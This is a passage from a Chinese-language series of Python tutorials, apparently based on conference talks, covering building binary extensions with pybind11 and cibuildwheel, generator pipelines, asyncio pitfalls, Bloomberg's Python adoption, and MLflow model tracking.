requires = ["scikit-build-core>=0.5.0", "cmake>=3.15", "ninja"]
build-backend = "scikit_build_core.build"
[project]
name = "cli11-python"
version = "0.1.0"
dependencies = [] # 我们的扩展没有纯Python依赖
[tool.scikit-build]
cmake.args = ["-DCMAKE_CXX_STANDARD=14"]
第二步:创建 CMakeLists.txt
这是 CMake 的构建脚本。
cmake_minimum_required(VERSION 3.15)
project(cli11_python LANGUAGES CXX)
# 获取 pybind11 (FetchContent 是 CMake 3.11+ 的特性)
include(FetchContent)
FetchContent_Declare(
pybind11
GIT_REPOSITORY https://github.com/pybind/pybind11.git
GIT_TAG v2.10.0
)
FetchContent_MakeAvailable(pybind11)
# 获取 CLI11
FetchContent_Declare(
CLI11
GIT_REPOSITORY https://github.com/CLIUtils/CLI11.git
GIT_TAG v2.3.0
)
FetchContent_MakeAvailable(CLI11)
# 添加 Python 模块
pybind11_add_module(_cli11 bindings.cpp)
# 链接库
target_link_libraries(_cli11 PRIVATE pybind11::module CLI11::CLI11)
# 设置 C++ 标准
set_target_properties(_cli11 PROPERTIES CXX_STANDARD 14 CXX_STANDARD_REQUIRED ON)
# 安装目标
install(TARGETS _cli11 LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}/cli11)
现在,你可以使用标准命令构建和安装扩展:
pip install -e . # 可编辑模式安装
# 或者
python -m build # 构建源码分发包和wheel
跨平台打包与分发 📦
构建成功后,我们需要为不同操作系统(Linux, macOS, Windows)和架构(x86_64, arm64)生成 Wheel 文件,以便用户通过 pip install 直接安装。
cibuildwheel 正是为此而生的工具。它在 CI 环境中自动为所有配置的平台构建 Wheel。
配置 GitHub Actions
创建一个 .github/workflows/build_wheels.yml 文件:
name: Build Wheels
on: [push, pull_request, release]
jobs:
build_wheels:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Build wheels
uses: pypa/cibuildwheel@v2.16
env:
CIBW_TEST_COMMAND: "pytest {project}/tests"
CIBW_BEFORE_TEST: "pip install pytest"
CIBW_ARCHS_MACOS: "x86_64 arm64" # 构建 Intel 和 Apple Silicon 版本
cibuildwheel 会自动处理:
- Linux:在
manylinuxDocker 镜像中构建,确保广泛的兼容性。 - macOS:设置正确的部署目标版本(如
MACOSX_DEPLOYMENT_TARGET)。 - Windows:构建 32 位和 64 位版本。
- 测试:在每个生成的 Wheel 上运行你的测试套件。
- 修复:使用
auditwheel(Linux) 或delocate(macOS) 来确保库依赖被正确捆绑。
构建完成后,你可以将生成的 Wheel 文件上传至 PyPI。
总结与进阶探索 🎉
在本教程中,我们一起学习了:
- 为什么需要二进制扩展:为了突破 Python 在计算密集型任务上的性能瓶颈。
- 核心工具链:了解了
PyBind11、Cython、mypyc等绑定和编译工具。 - 开发流程:从使用
PyBind11编写 C++ 绑定代码,到利用Scikit-Build和CMake进行构建。 - 打包分发:使用
cibuildwheel在 CI 中自动化生成跨平台的二进制 Wheel 文件。
创建二进制扩展不再是大型库的专利。借助现代工具链,即使是小型项目或个人开发者,也能以可维护的方式构建和分发高性能扩展。
下一步
- 探索更多工具:了解
maturin(用于 Rust 扩展)或meson-python等其他构建后端。 - 阅读示例:
- 使用项目模板:考虑使用 scikit-hep/cookiecutter-pybind11 快速生成一个配置好的项目骨架。
- 查阅指南:Scikit-HEP 开发者页面 提供了关于打包、测试和开发的综合最佳实践。

希望本教程为你打开了高性能 Python 编程的大门!通过将 Python 的易用性与编译语言的高性能相结合,你可以解决更复杂、计算需求更高的问题。
040:何时以及如何将循环重构为生成器管道 🚀

在本教程中,我们将学习如何识别代码中重复的循环模式,并掌握通过重构将其转化为更优雅、更易维护的生成器管道的技巧。我们将从一段虚构但典型的代码开始,逐步引入生成器、itertools模块等概念,最终实现代码的简化与优化。
识别重复的循环模式
我们从一个虚构的场景开始:为“斐波那契序列粉丝俱乐部”的产品负责人编写几个函数。首先,我们需要一个函数,返回小于某个阈值的所有斐波那契数。
斐波那契序列的定义是:序列中的每个数字是前两个数字的和。通常从 0 和 1 开始。
以下是第一个函数的实现:
def fibonacci_until(threshold: int) -> list[int]:
result = []
a, b = 0, 1 # 当前和下一个斐波那契数
while a < threshold:
result.append(a)
a, b = b, a + b # 计算新的当前和下一个数
return result
产品负责人随后要求更多功能:获取序列中第 n 个(从0开始索引)斐波那契数、获取前 n 个斐波那契数、以及获取大于等于某个值的最小斐波那契数。
我们逐一实现这些功能后,会发现代码中存在明显的重复模式。上一节我们介绍了第一个函数,本节中我们来看看其他几个函数的实现,并分析其中的共同点。
以下是所有四个函数的简化视图,它们都遵循相似的结构:
- 初始化斐波那契寄存器
a和b。 - 根据不同的条件(阈值、计数)进入循环。
- 在循环中更新
a和b。 - 最终返回单个值或列表。
这种重复不仅增加了维护成本,也容易在修改时引入错误。我们的目标是消除这种冗余。
重构的概念与挑战
重构是在不改变代码外部行为的前提下,重新组织代码内部结构,以提升可读性、降低复杂度和提高可维护性。
面对我们代码中的模式,直接提取公共行(如初始化或更新寄存器)收效甚微。一个笨拙的方法是创建一个“超级函数”,通过标志参数来控制所有行为,但这会导致函数签名复杂、类型注解丑陋且代码难以理解。
错误的示范(超级函数):
from typing import Union
def ugly_combined_function(
mode: bool, param: int
) -> Union[int, list[int]]:
# ... 复杂且难以维护的逻辑 ...
pass
这不是正确的做法。关键在于我们需要从更高的概念层面思考:这些函数都在做两件事——生成斐波那契数序列和根据特定条件处理这个序列。我们可以将数据生成部分分离出来。
引入生成器函数
生成器函数是分离数据生成逻辑的完美工具。它是一个包含 yield 表达式的函数,调用时会返回一个生成器迭代器。每次迭代时,它生成一个值并暂停,保持所有局部状态,直到下次被请求时继续执行。
那么,如何编写一个生成斐波那契数列的生成器呢?
以下是一个优雅的斐波那契生成器实现:
def fibgen():
"""生成无限的斐波那契数列。"""
a, b = 0, 1
while True:
yield a
a, b = b, a + b
这个生成器清晰地表达了斐波那契序列的生成逻辑,并且与具体的停止条件(如“小于阈值”或“前N个”)解耦。
如何使用这个生成器呢?我们可以直接在循环中消费它:
# 打印前10个斐波那契数
for _, fib in zip(range(10), fibgen()):
print(fib)
现在,数据生成部分已经被成功分离。接下来,我们看看如何优雅地处理这些生成的数据。
利用 itertools 构建处理管道
Python 标准库中的 itertools 模块提供了一组快速、内存高效的迭代器工具。它们可以像管道一样组合起来,简洁地表达各种处理逻辑。此外,more-itertools 包提供了更多便捷的配方。
以下是使用这些工具重新实现之前四个功能的方法:
1. 小于阈值的斐波那契数列表
使用 takewhile,它从迭代器中取值,直到谓词条件为假。
from itertools import takewhile
def fibonacci_until_refactored(threshold: int) -> list[int]:
return list(takewhile(lambda x: x < threshold, fibgen()))
2. 第 n 个斐波那契数
使用 islice 进行迭代器切片,然后使用 more_itertools.one 确保只取一个值。
from itertools import islice
from more_itertools import one
def nth_fibonacci_refactored(n: int) -> int:
# n 是0起始的索引
return one(islice(fibgen(), n, n + 1))
3. 前 n 个斐波那契数列表
同样使用 islice,指定停止位置。
def first_n_fibonacci_refactored(n: int) -> list[int]:
return list(islice(fibgen(), n))
4. 大于等于某值的最小斐波那契数
使用 dropwhile 丢弃不满足条件的值,然后取第一个。
from itertools import dropwhile
from more_itertools import first
def smallest_fib_gte_refactored(n: int) -> int:
return first(dropwhile(lambda x: x < n, fibgen()))
通过组合生成器和 itertools,我们将命令式的、混杂着控制流和数据生成的循环,重构为了声明式的、易于理解的管道操作。每个函数的核心逻辑变得一目了然。
总结与资源
在本教程中,我们一起学习了如何识别代码中可重构的循环模式,其特点是数据生成逻辑与处理逻辑混杂在一起。我们引入了生成器函数来分离和封装无限或惰性的数据序列。最后,我们利用 itertools 和 more-itertools 中的强大工具,将复杂的循环条件重构为清晰的生成器管道。
这种重构方式使代码:
- 更易维护:关注点分离,每部分代码职责单一。
- 更易读:声明式的管道操作比命令式的循环更贴近问题描述。
- 更灵活:生成器是惰性的,适合处理大型或无限序列。
进一步学习资源:
鼓励你阅读 itertools 的文档,你会发现其中许多工具都能让你的代码更具表达力。例如,在处理需要分块写入数据库的大量数据时,more_itertools.chunked 会非常有用。

希望本教程能帮助你在未来写出更优雅、更 Pythonic 的代码!
041:避免asyncio的常见陷阱 🚫


在本教程中,我们将学习如何正确使用Python的asyncio库,并重点探讨一些常见的错误模式及其解决方案。我们将涵盖嵌套事件循环、不当的引导方式、匿名任务、信号处理、取消操作和超时设置等核心概念,帮助你编写更健壮、更易维护的异步代码。
嵌套事件循环的陷阱
上一节我们介绍了本次演讲的主题,本节中我们来看看第一个常见陷阱:嵌套事件循环。
当库的编写者需要从同步代码中调用协程时,可能会尝试获取默认事件循环并运行它。然而,如果调用链的上层已经有一个正在运行的事件循环,这会导致运行时错误。一种看似简单的“黑客”解决方案是暂停当前循环并创建一个新的,这被称为嵌套事件循环。
以下是这种错误模式的简化示例:
# 错误示例:嵌套事件循环
import asyncio
def sync_function():
# 尝试在已有循环的线程中运行新循环
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
loop.run_until_complete(async_coroutine())
finally:
loop.close()
这种模式存在严重问题:
- 不受支持:它依赖于
asyncio的内部实现,行为不稳定。 - 破坏原有调度:原始循环上安排的任务(如超时)会因循环被阻塞而失效。
- 难以调试:创建的任务可能抛出异常,导致奇怪的堆栈跟踪,并且嵌套循环的关闭逻辑复杂。
解决方案:使用asyncio.run()。它会创建一个新的事件循环并在完成后妥善清理。如果调用者需要,他们可以轻松地通过线程池执行器来运行你的函数。
最佳实践:
- 尊重所有权:不要停止、启动或阻塞不属于你的事件循环。
- 单一循环:每个线程只应有一个事件循环。如果需要多个,请使用多线程。
- 让调用者决定:提供清晰的同步和异步接口,让调用者根据其上下文(是否在事件循环中)选择如何调用。
正确的异步引导
上一节我们讨论了事件循环的所有权,本节中我们来看看如何正确地启动和关闭异步应用。
引导(Bootstrap)是指启动事件循环、调度任务、处理结果和信号以确保安全终止的过程。过去常见的模式(使用loop.run_forever()和手动管理任务)既冗长又容易出错,可能导致任务异常被静默忽略或清理不当。
以下是旧的不推荐模式:
# 错误示例:复杂且易出错的引导
async def main():
task = asyncio.create_task(important_server())
await asyncio.sleep(3600) # 假设运行一小时
task.cancel()
try:
await task
except asyncio.CancelledError:
pass
loop = asyncio.get_event_loop()
try:
loop.run_until_complete(main())
finally:
loop.close()
解决方案:使用asyncio.run()。它封装了所有标准的启动和清理逻辑,代码更简洁、更安全。
改进后的代码如下:
# 正确示例:使用 asyncio.run
async def main():
server = await start_important_server()
await asyncio.sleep(3600) # 逻辑清晰
# asyncio.run 会在返回前自动取消并等待所有任务
if __name__ == "__main__":
asyncio.run(main())
匿名任务与“设置即遗忘”模式
上一节我们学习了如何干净地引导应用,本节中我们来看看一个与之相关的坏习惯:创建匿名任务(即“设置即遗忘”)。
创建任务后不保留其引用并等待或处理其结果,这非常危险。如果这些任务抛出异常,异常可能只会被记录到日志中,直到它们累积并引发更大问题时才被发现。
解决方案:不要让你的任务无人看管。确保有机制能处理任务失败。对于关键任务,可以考虑使用类似trio库中“保育所”(Nursery)的概念,或者使用asyncio的第三方库(如asyncio的TaskGroup或anyio的监视器),它们能确保一个任务的失败可以传播并妥善处理。
对于“尽力而为”的非关键任务,也应设置监控,例如当失败率超过某个阈值时发出警报。
在__init__方法中调用协程
上一节我们讨论了任务管理,本节中我们来看看另一个设计误区:在类的__init__方法中调用协程。
开发者有时为了初始化对象的异步状态,会在__init__中调用协程。这迫使调用者必须处理事件循环问题(例如使用嵌套循环),破坏了代码的清晰度。
解决方案:使用异步上下文管理器。这是为异步对象初始化和清理而设计的完美模式。
以下是使用异步上下文管理器的示例:
# 正确示例:使用异步上下文管理器进行初始化
class AsyncResource:
async def __aenter__(self):
self.client = await setup_async_client()
return self
async def __aexit__(self, exc_type, exc_val, exc_tb):
await self.client.close()
async def main():
async with AsyncResource() as resource:
# 使用 resource.client
pass
这种方法优点明显:
- 约定明确:API由PEP定义,用户熟悉
async with语法。 - 清理可靠:退出上下文时自动清理。
- 与同步代码一致:模式与同步上下文管理器类似。
信号处理
上一节我们介绍了异步上下文管理器,本节中我们来看看如何在异步应用中正确处理操作系统信号(如Ctrl+C)。
一个常见的错误是在信号处理程序中直接调用loop.stop()。这会导致事件循环在当前位置抛出RuntimeError,可能使应用崩溃,并妨碍正常的清理流程。
解决方案:将关闭逻辑与信号处理解耦。不要直接停止循环,而是触发一个取消流程。
一种更健壮的模式是结合使用取消和任务观察者(如asyncio的TaskGroup)。在信号处理程序中,取消根任务或所有任务,然后让asyncio.run()在返回前等待它们完成清理。这确保了所有任务都有序退出。
另一种方法是使用asyncio.Event作为全局停止标志,让任务定期检查并优雅退出。
正确处理取消
上一节我们提到了取消,本节中我们深入探讨一下这个关键但常被误解的机制。
取消(Cancellation)是asyncio的核心协作机制。当任务被取消时,一个CancelledError异常会在当前await点抛出。忽略或不当处理这个异常是常见错误。
合同(最佳实践):
- 可以捕获:你可以捕获
CancelledError以执行自定义清理。 - 必须重新引发:清理完成后,必须重新引发
CancelledError(除非你非常清楚后果)。这是为了确保取消能沿着调用链正确传播。 - 避免空异常捕获:在异步代码中使用
except:或except Exception:会意外吞掉CancelledError,破坏取消机制。
简单来说,正确处理取消的模式如下:
async def some_coroutine():
try:
# 执行一些工作
await something()
except asyncio.CancelledError:
# 执行必要的清理(如关闭文件、网络连接)
await cleanup()
raise # 关键:重新引发异常
另外,注意task.cancel()是异步的,它只是安排取消,并不立即生效。如果需要等待任务真正被取消,应该await该任务。
使用超时
上一节我们探讨了取消的协作性,本节中我们来看看另一个防御性编程的重要工具:超时。
在现实世界的网络中,操作可能会无限期挂起。不使用超时意味着你的服务可能会因为一个慢速的外部依赖而完全停滞。
asyncio提供了asyncio.timeout()上下文管理器来优雅地设置超时。
以下是使用超时的示例:
# 正确示例:为操作设置超时
async def fetch_with_retry(url):
timeout = 10.0 # 总预算10秒
for attempt in range(3):
try:
# 为单次请求设置更短的超时
async with asyncio.timeout(2.0):
return await make_request(url)
except TimeoutError:
continue # 超时后重试
raise Exception("All attempts timed out")
核心思想:为你所有的I/O操作设置合理的超时,并根据需要实现重试逻辑。这是构建弹性系统的基石。
总结
本节课中我们一起学习了如何避免asyncio编程中的一系列常见陷阱。让我们回顾一下核心要点:
- 🚫 杜绝嵌套事件循环:使用
asyncio.run(),尊重事件循环所有权。 - 🎯 正确引导与关闭:始终使用
asyncio.run()作为应用入口点,它处理了标准的启动和清理。 - 👀 管理好你的任务:不要创建“匿名”任务,确保任务异常能被观察到和处理。
- 🏗️ 使用异步上下文管理器:用于异步资源的初始化和清理,而非
__init__。 - 📶 妥善处理信号:通过触发取消流程来优雅关闭,而非直接
loop.stop()。 - 🤝 尊重取消合同:捕获
CancelledError进行清理,但务必重新引发。 - ⏱️ 强制使用超时:为你所有的网络和I/O操作设置超时,以构建健壮的服务。

遵循这些准则,你将能编写出更可靠、更易维护且不会在凌晨三点把你叫醒的异步Python代码。
042:演讲 - Greg Compestine


概述
在本教程中,我们将学习Greg Compestine在彭博社(Bloomberg)推动Python成功应用的经验。我们将了解一个大型企业如何从零开始建立强大的Python生态系统,涵盖社区建设、技术架构、团队协作以及克服挑战的策略。无论你是开发者还是技术管理者,这些实践经验都将为你提供宝贵的参考。
章节 1:背景与起点 🏢
上一节我们概述了本教程的主题,本节中我们来看看彭博社的背景以及Python引入的初始环境。
彭博社是一家全球性的金融信息和软件公司。公司成立40周年,在全球拥有近200个办事处和超过20,000名员工,其中近7,000人是软件工程师。在很长一段时间里,C++是公司首选的开发语言。
大约在2000年代中期,JavaScript开始在用户界面开发中获得关注,Python也开始崭露头角。演讲者本人在2007年左右于另一家公司开始使用Python,主要用于数据处理和构建自动化流程。
当时,公司内部调查或尝试使用了多种编程语言,但没有任何一种语言能取得像Python那样的成功。Python成功的基础建立在三个核心支柱之上。
以下是Python成功应用的三个核心支柱:
- 强烈的社区兴趣:开发者对Python作为通用工具抱有浓厚兴趣。
- 有效的组织协调:通过建立专门组织来管理社区沟通与协作。
- 计划的技术支持:公司为Python的推广和应用提供了有计划的技术支持。
章节 2:社区驱动的萌芽 🌱
上一节我们介绍了Python应用的三个支柱,本节中我们来看看社区兴趣是如何转化为实际动力的。
起初,社区兴趣与其他公司类似。开发者将Python视为一个配备了“电池”的通用工具,可用于数据分析、机器学习或快速搭建网络服务。
然而,在彭博社这样的企业环境中,仅凭通用功能是不够的。公司内部存在大量定制的网络和数据库API。如果开发者只使用标准Python库,他们的工作成果就会成为“孤岛”,无法与公司内部的其他核心应用程序进行通信。
转机来自一个实习生项目。该实习生成功封装了一些流行的C++库,使其能够嵌入到Python解释器中。这一突破使得开发者能够用Python编写真正的业务应用程序,并与公司内部系统进行交互。从此,Python的应用开始迅速增长。
与此同时,公司采纳了“公会”(Guild)的概念。公会是专注于某项特定技术的志愿者团体,旨在促进该技术的最佳实践。
以下是当时存在的一些公会:
- Python公会
- 数据库公会
- JavaScript公会
- C++公会
- 测试公会
Python公会早期的工作包括组织内部会议、发送通讯、参与项目,并维护那个由实习生开发的扩展解释器。
章节 3:建立基础设施团队 🛠️
上一节我们看到了社区和公会如何推动Python发展,本节中我们来看看官方技术支持团队是如何成立的。
Python基础设施团队成立于2016年初,最初只有一名成员在旧金山。几个月后,演讲者作为第二名成员加入。团队设定了明确的技术目标。
以下是团队成立初期的核心目标:
- 稳定现状:解决现有C++扩展解释器中的问题。
- 规划封装:制定未来C++库封装的策略。
- 管理解释器:建立解释器及其版本的管理机制。
- 改善部署:解决软件打包和部署过程中的挑战。
团队到达时,社区的发展已经走在了前面。开发者自行下载不同版本的Python并构建应用,而公司内部存在多个由实习生开发的、一次性版本的扩展解释器。这导致了严重的依赖管理问题。
原有的基础设施是为分布式、独立的大型C++二进制应用设计的,与在共享解释器集上运行多个Python应用的概念不兼容。此外,早期的C++封装也存在诸多缺点,它仅仅是C++代码的薄包装,导致了许多C++的编程习惯和内存管理问题渗透到Python代码中。
章节 4:战略调整与内部开源 🤝
上一节我们了解了基础设施团队面临的挑战,本节中我们来看看他们采取了哪些关键策略来扭转局面。
团队首先明确了工作范围的界限。他们采用了“内部开源”(Inner Source)模型,即团队的所有项目都对内部社区开放,鼓励透明沟通和贡献。
团队专注于使用Python公会作为社区的代表,从他们那里获取关于未来计划的反馈和新API的设计意见。公会则帮助团队传播信息、组织内部聚会,并在在线讨论中提供支持。
团队还系统性地整理了文档,从一个简单的使命声明和FAQ开始,逐渐发展为包含每个支持软件包的详细参考手册和操作指南。
为了取代难以维护的旧扩展解释器,团队制定了一个新计划:为每个重要的C++库提供独立的、精心设计的Python软件包。这极大地改变了架构,减少了维护负担。
团队选取了公司内最流行的一个C++库,并与公会共同设计了一个新的Python API。其设计原则是:支持Python惯用法、保证良好性能、提供可靠解决方案。
然而,新API推出初期无人问津。团队通过与社区深入沟通,了解他们在使用旧API时遇到的痛点,并建议他们尝试新方案。随着时间推移,新API在性能和可靠性上证明了其价值,采纳度才逐渐提高。
章节 5:成果与现状 🏆
上一节我们介绍了团队推动技术采纳的策略,本节中我们来看看这些努力最终取得的成果。
如今,Python在彭博社内部已成为一门“一等公民”的编程语言。在公司招聘网站上,Python是出现频率最高的技术关键词之一。新员工入职培训也使用Python来介绍公司应用开发的概念。
内部Python社区已增长到数千名开发者,并且社区驱动的项目也大量涌现。这些项目在项目管理、文档和设计上,都借鉴了基础设施团队的模式。
C++库的原作者也开始使用这些Python封装库进行测试,并用Python编写自己的工具,形成了良好的协同。
当前公会的结构包括两名共同负责人,以及十几个由约20名成员组成的工作组,每个组专注于一个特定领域。基础设施团队也与公会保持着紧密的跨团队咨询关系。
大多数C++封装库现已进入维护阶段,运行稳定。团队当前的工作重点是改善解释器的升级体验、优化第三方依赖管理,以及提升开发者的整体开发体验。
章节 6:关键经验与建议 💡
上一节我们看到了Python在彭博社的成功现状,本节中我们来总结一下可供其他企业借鉴的关键经验。
如果希望在自己的公司培养类似的技术公会和社区,有几个方法被证明是有效的。
以下是培养成功公会和社区的关键建议:
- 纳入工作职责:公会活动不能完全依赖志愿者的业余时间。应将其视为开发者正式职责的一部分,管理层需要为此预留时间。
- 管理升级生命周期:技术升级(如Python版本)常被视为次要活动。需要向管理层阐明不升级的风险,并将其作为项目规划的一部分。
- 维护沟通文明:在全球化、在线沟通为主的团队中,保持文明、包容的对话氛围至关重要。需要树立良好榜样,避免粗鲁或讽刺的言论。
- 利用诊断工具:使用强大的工具来诊断和解决问题。例如,彭博社开源的
memray工具,可以帮助深入分析应用程序的内存使用情况,无论底层是Python还是其他语言。# 示例:使用 memray 运行并分析脚本 memray run my_script.py memray flamegraph my_script.bin
此外,彭博社的其他同事也在持续为开源社区做贡献,并在PyCon等大会上分享经验,这进一步促进了内外部的技术交流。

总结
在本教程中,我们一起学习了Greg Compestine分享的彭博社成功应用Python的完整路径。我们从企业背景和初期挑战开始,逐步了解了社区驱动、公会组织、基础设施团队建设、内部开源模型以及战略性API设计如何共同作用,将Python从一个小众工具转变为企业级的一流开发语言。核心经验表明,成功的关键在于技术与管理并重,社区与官方协同,以及持续的沟通与透明。希望这些经验能为你在自己的组织中推广和应用Python提供清晰的蓝图和实用的建议。
043:使用MLflow进行模型审核以提高透明度、可重复性与知识共享 🧠


在本节课中,我们将学习如何通过引入模型审核流程,并利用MLflow这一工具,来提升机器学习项目的透明度、可重复性和团队知识共享的效率。我们将从模型审核的必要性讲起,然后详细介绍MLflow的核心功能,最后展示如何将其整合到实际工作流程中。
模型审核的必要性
上一节我们介绍了课程目标,本节中我们来看看为什么需要模型审核。随着团队规模的扩大和模型部署频率的增加,缺乏系统化的记录会引发一系列问题。
在生产环境中,我们可能不清楚模型是如何被训练的,或者哪些建模技巧在特定领域效果最佳。当需要重新训练模型,或有新成员希望在前人工作基础上继续开发时,信息缺失会成为障碍。例如,部署前模型的准确率应该是多少?这类问题的答案往往依赖于个人对Jupyter笔记本的管理,虽然有人会将其提交到GitHub,但这并非一种健壮可靠的记录方式。
因此,我们需要为新流程设定明确的目标:
- 透明度:对模型训练和部署过程有清晰的记录。
- 可重复性:确保过去的实验能够被复现,便于他人或在后续工作中继续构建。
- 知识共享:建立一种格式,让团队成员能够相互学习,帮助新成员快速上手。
- 自动化:在实现上述目标的同时,尽可能减少额外的手动工作量。
模型审核与代码审查有相似之处,但也有其特殊性。代码审查关注代码本身,而模型审查则需要关注更广泛的上下文,这包括:
- 模型性能:在测试集上的表现,这并未硬编码在训练脚本中。
- 数据:使用了什么数据以及进行了哪些处理。
- 实验过程:在得到最终模型前尝试过的所有方法。
由于这些原因,我们不能仅通过审查代码来评估模型,这促使我们寻找像MLflow这样的专门工具。
MLflow 简介
上一节我们探讨了模型审核的挑战,本节中我们来认识解决这些问题的核心工具——MLflow。MLflow是一个用于管理端到端机器学习生命周期的开源平台,它包含几个独立组件:
- Tracking(跟踪):用于记录机器学习实验。
- Projects(项目):以特定格式打包代码,便于重复运行。
- Models(模型):以标准格式保存模型,便于在各种环境中部署。
- Model Registry(模型注册表):管理模型的生命周期。
MLflow的优势在于它对编程语言和机器学习库没有特定要求,并提供了多种语言的API,非常灵活。本节课我们将重点介绍其Tracking(跟踪)功能。
开始使用 MLflow Tracking
MLflow Tracking 允许你轻松记录几乎任何内容。在机器学习场景下,这通常包括参数、指标、图表、文本文件等(这些文件在MLflow中被称为Artifacts),以及代码版本和训练数据信息。
你可以通过 pip install mlflow 来安装。让我们从一个简单的例子开始:
import mlflow
# 记录一个参数和一个指标,MLflow会自动开始一次“运行”
mlflow.log_param("learning_rate", 0.01)
mlflow.log_metric("accuracy", 0.95)
在这里,log_param 和 log_metric 用于记录键值对。第一次记录内容时,MLflow会自动启动一次运行。你可以将一次运行视为一组有意义的、被记录在一起的实验数据。
更常见的做法是显式地开始一次运行,这提供了更好的控制:
import mlflow
# 使用上下文管理器显式开始一次运行,并为其命名
with mlflow.start_run(run_name="log_artifacts_example"):
mlflow.log_param("epochs", 10)
mlflow.log_metric("loss", 0.2)
# 记录一个Artifact(例如,一个文本文件)
with open("output.txt", "w") as f:
f.write("Hello MLflow!")
mlflow.log_artifact("output.txt")
查看记录结果
运行上述代码后,记录的数据去了哪里?你可以在终端执行 mlflow ui 命令来启动一个本地Web服务器。在浏览器中打开提供的URL,你将看到MLflow的实验页面。
以下是默认的MLflow UI界面展示:

这个表格列出了你所有的MLflow运行。点击某次运行,例如名为“log_artifacts_example”的运行,可以进入详情页:

详情页展示了该次运行的元数据(如时间、持续时间)、所有记录的参数和指标,以及Artifacts列表。你可以直接点击Artifact文件在浏览器中查看。

默认情况下,所有数据都记录在本地。为了团队协作和集中比较,你可以设置一个远程跟踪服务器,让所有成员将日志记录到同一位置。
在机器学习项目中使用 MLflow
上一节我们了解了MLflow的基础操作,本节中我们将其应用于一个实际的机器学习示例。我们将使用scikit-learn构建一个简单的文本分类器,区分关于“冰球”和“棒球”的新闻。
核心训练代码可能如下所示(数据加载和预处理步骤已省略):
import mlflow
import mlflow.sklearn
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import accuracy_score, precision_recall_curve
import matplotlib.pyplot as plt
# 加载并预处理数据 (X_train, y_train), (X_test, y_test) ...
with mlflow.start_run(run_name="hockey_vs_baseball"):
# 1. 训练模型
model = LogisticRegression(C=0.1)
model.fit(X_train, y_train)
# 2. 预测与评估
y_pred = model.predict(X_test)
train_acc = accuracy_score(y_train, model.predict(X_train))
test_acc = accuracy_score(y_test, y_pred)
# 3. 记录参数和指标
mlflow.log_param("C", 0.1)
mlflow.log_metric("train_accuracy", train_acc)
mlflow.log_metric("test_accuracy", test_acc)
# 4. 记录图表(Artifact)
precision, recall, _ = precision_recall_curve(y_test, y_pred_proba)
plt.figure()
plt.plot(recall, precision)
plt.savefig("pr_curve.png")
mlflow.log_artifact("pr_curve.png")
# 5. 记录模型本身(关键步骤!)
mlflow.sklearn.log_model(model, "model")
训练完成后,在MLflow UI中查看这次运行,你会发现除了参数和指标,还记录了图表和模型:


MLflow以一种标准格式保存模型,其中包含模型文件、环境依赖(如conda.yaml)和一个说明模型类型的MLmodel文件。UI甚至会贴心地生成加载模型并进行预测的代码片段。
此外,不要忽略运行详情页顶部的备注部分,你可以在这里用Markdown格式记录任何额外的上下文信息,例如业务背景、尝试过但未成功的思路等,这对未来的回顾至关重要。
MLflow 自动日志记录

上一节我们手动记录了各种信息,本节中我们来看看MLflow一个能极大提升效率的功能——自动日志记录。只需一行代码,MLflow就能为你自动记录与模型训练相关的大量有用信息。
目前,自动日志记录支持包括scikit-learn、TensorFlow、Keras、PyTorch等多个主流库。

Scikit-learn 示例:
import mlflow
from sklearn.ensemble import RandomForestClassifier

mlflow.sklearn.autolog() # 关键的一行代码
model = RandomForestClassifier(n_estimators=100)
model.fit(X_train, y_train)
# MLflow会自动记录参数、指标、模型甚至图表!
运行后,UI中会自动记录所有可配置的参数、多种评估指标(准确率、F1值等)以及混淆矩阵、ROC曲线等图表:


TensorFlow/Keras 示例:
import mlflow
import tensorflow as tf

mlflow.tensorflow.autolog() # 启用TensorFlow自动日志
with mlflow.start_run(run_name=f"sports_nn_{hidden_dim}_{lr}"):
model = tf.keras.Sequential([...])
model.compile(optimizer=..., loss=..., metrics=['accuracy', tf.keras.metrics.AUC()])
model.fit(X_train, y_train, epochs=40, validation_data=(X_val, y_val))
对于TensorFlow,自动日志不仅记录超参数和指标,还会记录模型结构摘要、TensorBoard日志,并在UI中提供训练曲线的可视化:


比较与分析实验
MLflow的真正威力在于能够轻松比较多次实验。假设我们训练了多个不同超参数(如隐藏层维度、学习率)的神经网络,MLflow的表格视图可以让我们像看排行榜一样对所有运行进行排序:


勾选多个运行并点击“Compare”,可以进入对比视图。该视图并排显示不同运行的参数和指标,并高亮显示差异,使得分析变得非常直观:


你还可以点击某个指标(如“损失”)进入指标对比页面,在这里,不同模型的训练曲线会被绘制在同一张图上,方便观察收敛速度与性能差异:

整合模型审核流程
了解了MLflow的强大功能后,本节中我们来看看如何将其系统化地整合到团队的模型审核流程中。

首先,团队需要建立和维护一套共享的训练基础设施代码。这套代码应足够灵活以应对不同用例,并在此过程中嵌入MLflow跟踪。关键是实现自动化,让跟踪成为训练过程不可或缺的一部分,而不是需要额外记忆的任务。
我们需要自动记录以下核心内容:
- 训练参数:包括指向所用数据集的指针。
- 评估指标:团队一致关心的性能指标。
- 环境信息:如Docker镜像、代码版本。
- 训练脚本/笔记本:实际执行的代码。
- 训练好的模型及部署所需的附加工件。
- 自定义分析图表:用于理解模型局限性和进行调试。
- 备注:记录业务问题、失败的尝试等任何有价值的上下文。
当一个模型达到部署标准时,我们启动模型审核流程。具体步骤如下:
- 模型开发者将与此次训练对应的MLflow运行链接分享给团队。
- 指定几位审查者,他们需要仔细阅读相关代码和MLflow记录。
- 召开一个简短的评审会议(例如30分钟),讨论模型细节、提出问题或给出改进建议。
通过这一流程,我们实现了最初设定的目标:
- 透明度:通过可共享的MLflow链接,所有模型细节一目了然。
- 可重复性:记录了一切复现实验或基于此模型继续开发所需的信息。
- 知识共享:评审过程本身以及日常通过MLflow链接进行的交流,都极大地促进了团队学习。
总结与扩展
本节课中我们一起学习了如何利用MLflow进行模型审核。MLflow是一个轻量级但功能强大的机器学习实验跟踪工具,其自动日志功能能让初学者快速受益。
我们主要聚焦于MLflow的Tracking组件,但它还有更多强大功能值得探索:
- Projects:将代码打包,使复现运行更加简单。
- Models:提供标准的模型打包和部署方式。
- Model Registry:管理模型的版本、阶段转换和生命周期。
模型审核流程是一个持续演进的过程。不同的团队可以根据自身情况调整实践。最重要的是,通过引入这样的工具和流程,我们能够更系统、更协作地管理机器学习项目,确保其长期的可维护性和成功。
提示:本教程的演示基于Jupyter Notebook,相关代码可在GitHub上找到。MLflow的自动日志记录是快速入门的绝佳方式,建议从它开始你的MLflow之旅。
本节课中我们一起学习了:
